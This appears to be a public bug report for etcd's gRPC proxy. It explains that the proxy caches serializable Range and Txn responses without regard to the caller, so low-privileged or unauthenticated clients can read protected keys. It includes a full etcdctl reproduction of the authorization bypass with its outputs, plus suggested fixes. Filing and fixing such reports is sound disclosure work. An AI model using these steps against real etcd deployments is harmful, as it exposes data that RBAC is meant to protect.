gRPC proxy serializable Range cache can leak protected KV data across auth contexts
- Dominant language
- Go
- Stars
- 52.3k
- Forks
- 10.5k
- Avg merge
- 2d 21h
- Merged PRs (30d)
- 43
Description
### Bug report criteria
- [ ] This bug report is not security related, security issues should be disclosed privately via security@etcd.io.
- [x] This is not a support request or question, support requests or questions should be raised in the etcd [discussion forums](https://github.com/etcd-io/etcd/discussions).
- [x] You have read the etcd [bug reporting guidelines](https://github.com/etcd-io/etcd/blob/main/Documentation/contributor-guide/reporting_bugs.md).
- [x] Existing open issues along with etcd [frequently asked questions](https://etcd.io/docs/latest/faq) have been checked and this is not a duplicate.
### What happened?
When etcd auth/RBAC is enabled behind `etcd grpc-proxy`, the proxy serves protected KV data to clients that have no permission to read it.
The gRPC proxy caches serializable `Range` responses keyed only by the marshaled `RangeRequest` bytes. The cache key does NOT include the caller's token, username, roles, permissions, or auth revision. For a serializable read, `kvProxy.Range` returns the cached response *before* forwarding the request to the backend, so backend RBAC is never consulted on a cache hit.
Consequence: after any authorized user (e.g. root) reads a protected key/prefix through the proxy, the response is cached. A low-privileged user — or a client with no credentials at all — that issues an equivalent serializable `Range` (etcdctl `--consistency=s`) receives the protected value/key names straight from the proxy cache.
The same auth-agnostic cache is also populated from `Txn` responses: an authorized transaction containing a `Range`/get stores that range response via `kvProxy.txnToCache`, which is then reachable by an unauthorized serializable get. `--keys-only` reads leak protected key names the same way.
Reproduced against etcd 3.6.12 and 3.6.13. The same cache-before-forwarding pattern is still present on the `main` branch at time of writing.
### What did you expect to happen?
A cached response generated for one authenticated identity must not be reusable by a different identity. The proxy should preserve the backend authorization boundary: a serializable Range served from cache should be denied for a caller that the backend would deny, exactly like the linearizable path.
Concretely, at least one of:
- include the caller identity + auth revision in the cache key, or
- revalidate Range permissions against the backend before returning a cached response, or
- disable the serializable Range cache when backend auth is enabled.
The public grpc-proxy docs state the proxy caches responses "when this does not break consistency requirements"; the same reasoning should apply to the authorization boundary.
### How can we reproduce it (as minimally and precisely as possible)?
Prereqs: an etcd binary and etcdctl (3.6.12 / 3.6.13 both reproduce).
1. Start a single backend etcd:
etcd --name backend \
--data-dir /tmp/repro/data \
--listen-client-urls http://127.0.0.1:12479 \
--advertise-client-urls http://127.0.0.1:12479 \
--listen-peer-urls http://127.0.0.1:12480 \
--initial-advertise-peer-urls http://127.0.0.1:12480 \
--initial-cluster backend=http://127.0.0.1:12480 \
--initial-cluster-state new
2. Create an RBAC model where `low` has NO read permission, and a protected key:
etcdctl --endpoints=http://127.0.0.1:12479 user add root:rootpw
etcdctl --endpoints=http://127.0.0.1:12479 user grant-role root root
etcdctl --endpoints=http://127.0.0.1:12479 role add lowrole # deliberately empty
etcdctl --endpoints=http://127.0.0.1:12479 user add low:lowpw
etcdctl --endpoints=http://127.0.0.1:12479 user grant-role low lowrole
etcdctl --endpoints=http://127.0.0.1:12479 put /proxy-cache/secret cached-secret
etcdctl --endpoints=http://127.0.0.1:12479 auth enable
3. Start the gRPC proxy in front of the authenticated backend:
etcd grpc-proxy start \
--endpoints=http://127.0.0.1:12479 \
--listen-addr=127.0.0.1:12490 \
--advertise-client-url=127.0.0.1:12490 \
--data-dir /tmp/repro/proxy
4. Baselines (must be DENIED):
etcdctl --endpoints=http://127.0.0.1:12479 --user low:lowpw --consistency=s get /proxy-cache/secret
-> Error: etcdserver: permission denied
etcdctl --endpoints=http://127.0.0.1:12479 --consistency=s get /proxy-cache/secret
-> Error: etcdserver: user name is empty
5. Authorized user primes the proxy cache:
etcdctl --endpoints=http://127.0.0.1:12490 --user root:rootpw get /proxy-cache/secret
-> /proxy-cache/secret / cached-secret
6. BYPASS — low-priv and unauthenticated serializable reads through the proxy:
etcdctl --endpoints=http://127.0.0.1:12490 --user low:lowpw --consistency=s get /proxy-cache/secret
-> /proxy-cache/secret / cached-secret # should have been denied
etcdctl --endpoints=http://127.0.0.1:12490 --consistency=s get /proxy-cache/secret
-> /proxy-cache/secret / cached-secret # should have been denied
7. Control (still correctly DENIED) — linearizable read forwards to backend:
etcdctl --endpoints=http://127.0.0.1:12490 --user low:lowpw get /proxy-cache/secret
-> Error: etcdserver: permission denied
Also works through Txn.
### Anything else we need to know?
_No response_
### Etcd version (please run commands below)
```console
$ etcd --version
etcd Version: 3.6.13
Git SHA: b0f9ef1
Go Version: go1.25.11
Go OS/Arch: linux/amd64
$ etcdctl version
etcdctl version: 3.6.13
API version: 3.6
```
### Etcd configuration (command line flags or environment variables)
```text
# Backend etcd (auth/RBAC enabled):
etcd --name backend \
--data-dir /tmp/repro/data \
--listen-client-urls http://127.0.0.1:12479 \
--advertise-client-urls http://127.0.0.1:12479 \
--listen-peer-urls http://127.0.0.1:12480 \
--initial-advertise-peer-urls http://127.0.0.1:12480 \
--initial-cluster backend=http://127.0.0.1:12480 \
--initial-cluster-state new
# ... then: auth enable, with `low` having an empty role (no read permission).
# gRPC proxy in front of the authenticated backend:
etcd grpc-proxy start \
--endpoints=http://127.0.0.1:12479 \
--listen-addr=127.0.0.1:12490 \
--advertise-client-url=127.0.0.1:12490 \
--data-dir /tmp/repro/proxy
```
### Etcd debug information (please run commands below, feel free to obfuscate the IP address or FQDN in the output)
```console
$ etcdctl member list -w table
+------------------+---------+----------+------------------------+------------------------+------------+
| ID | STATUS | NAME | PEER ADDRS | CLIENT ADDRS | IS LEARNER |
+------------------+---------+----------+------------------------+------------------------+------------+
| ac7c97ef0ec193b0 | started | issuedbg | http://:2380 | http://:2379 | false |
+------------------+---------+----------+------------------------+------------------------+------------+
$ etcdctl --endpoints= endpoint status -w table
+------------------------+------------------+---------+-----------------+---------+--------+-----------------------+--------+-----------+------------+-----------+------------+--------------------+--------+--------------------------+-------------------+
| ENDPOINT | ID | VERSION | STORAGE VERSION | DB SIZE | IN USE | PERCENTAGE NOT IN USE | QUOTA | IS LEADER | IS LEARNER | RAFT TERM | RAFT INDEX | RAFT APPLIED INDEX | ERRORS | DOWNGRADE TARGET VERSION | DOWNGRADE ENABLED |
+------------------------+------------------+---------+-----------------+---------+--------+-----------------------+--------+-----------+------------+-----------+------------+--------------------+--------+--------------------------+-------------------+
| http://:2379 | ac7c97ef0ec193b0 | 3.6.13 | 3.6.0 | 20 kB | 16 kB | 20% | 2.1 GB | true | false | 2 | 5 | 5 | | | false |
+------------------------+------------------+---------+-----------------+---------+--------+-----------------------+--------+-----------+------------+-----------+------------+--------------------+--------+--------------------------+-------------------+
```
### Relevant log output
```Shell
```
Contributor guide
Assessment
This issue has not been assessed yet.